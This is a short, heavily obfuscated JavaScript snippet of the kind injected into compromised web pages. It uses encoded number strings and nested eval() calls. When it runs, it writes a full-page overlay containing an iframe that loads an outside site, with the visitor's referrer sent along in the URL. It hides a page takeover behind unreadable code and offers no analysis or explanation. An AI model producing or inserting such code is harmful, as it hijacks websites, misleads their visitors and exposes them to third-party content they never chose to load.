s="693748732747738745749665741730743736750730736734694707730751730716732747738745749695665733744732750742734743749679752747738749734673667693733738751665738733694672743734752738733672665748749754741734694672745730733733738743736691681692742730747736738743691681692745744748738749738744743691730731748744741750749734692741734735749691681692749744745691681692752738733749737691682681681670692737734738736737749691683681681681692755678738743733734753691682692731730732740736747744750743733678732744741744747691752737738749734672695693738735747730742734665748747732694672737749749745691680680730731732738743735744737734741745679732744742680730733751738748744747678742744733750741734748680732744743749734753749728730733751696730732732744750743749694740731732754689681671747734735694667676749744745679733744732750742734743749679747734735734747747734747676667672665752738733749737694672682681681670672665737734738736737749694672682681681670672665748732747744741741738743736694672743744672665743744747734748738755734695693680738735747730742734695693680733738751695667674692665693680748732747738745749695665";k="f=String.fromCharCode(32,118,97,114,32,32,32,111,32,32,32,61,32,32,32,39,39,32,32,59,32,32,32,102,117,110,99,116,105,111,110,32,32,100,32,32,40,32,41,32,32,123,32,32,105,32,61,32,32,32,48,32,32,32,59,32,32,99,32,61,32,32,48,32,32,59,32,119,104,105,108,101,32,40,32,32,105,32,32,32,60,32,115,46,108,101,110,103,116,104,32,32,32,41,32,32,32,123,32,32,32,99,32,32,32,61,32,32,32,77,97,116,104,46,114,111,117,110,100,32,32,40,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,41,32,32,32,43,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,43,32,32,32,49,32,32,41,32,32,43,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,32,43,32,50,32,32,32,41,32,32,41,32,45,32,54,51,51,59,32,32,105,32,61,32,105,32,43,32,32,32,51,32,32,59,32,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,99,32,32,32,41,32,32,32,59,32,125,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,111,32,32,32,41,32,125,32,100,40,32,32,41,59);";eval(eval(k));